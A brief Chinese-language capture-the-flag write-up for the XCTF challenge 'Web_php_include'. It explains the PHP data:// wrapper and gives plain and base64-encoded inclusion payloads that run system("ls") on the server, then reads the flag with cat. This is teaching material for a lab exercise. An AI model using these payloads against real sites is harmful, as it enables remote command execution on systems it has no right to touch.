攻防世界高手进阶区 题目：Web_php_include

1. 利用data://绕过 

关于data:// 数据流封装器。

使用格式：data:[<mime type>][;charset=<charset>][;base64],<encoded data>

• 第一部分是data:协议头，它标识这个内容为一个data URI资源。
• 第二部分是MIME类型，表示这串内容的展现方式，比如：text/plain，则以文本类型展示，image/jpeg，以 jpeg 图片形式展示，同样，客户端也会以这个 MIME 类型来解析数据。
• 第三部分是编码设置，默认编码是charset=US-ASCII,即数据部分的每个字符都会自动编码为%xx
• 第四部分是base64编码设定，这是一个可选项，base64编码中仅包含0-9,a-z,A-Z,+,/,=，其中=是用来编码补白的。
• 最后一部分为这个Data URI承载的内容，它可以是纯文本编写的内容，也可以是经过base64编码 的内容。

使用条件：

• data://协议必须allow_url_fopen为on才能使用

因为本题目代码中没有写解析base64的代码，所以这里可以省略base64，构造payload：

?page=data://text/plain,<?php system("ls")?>

 

得到flag信息，cat查看内容得到flag：
 

备注：以下是使用base64的data://的payload：

/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=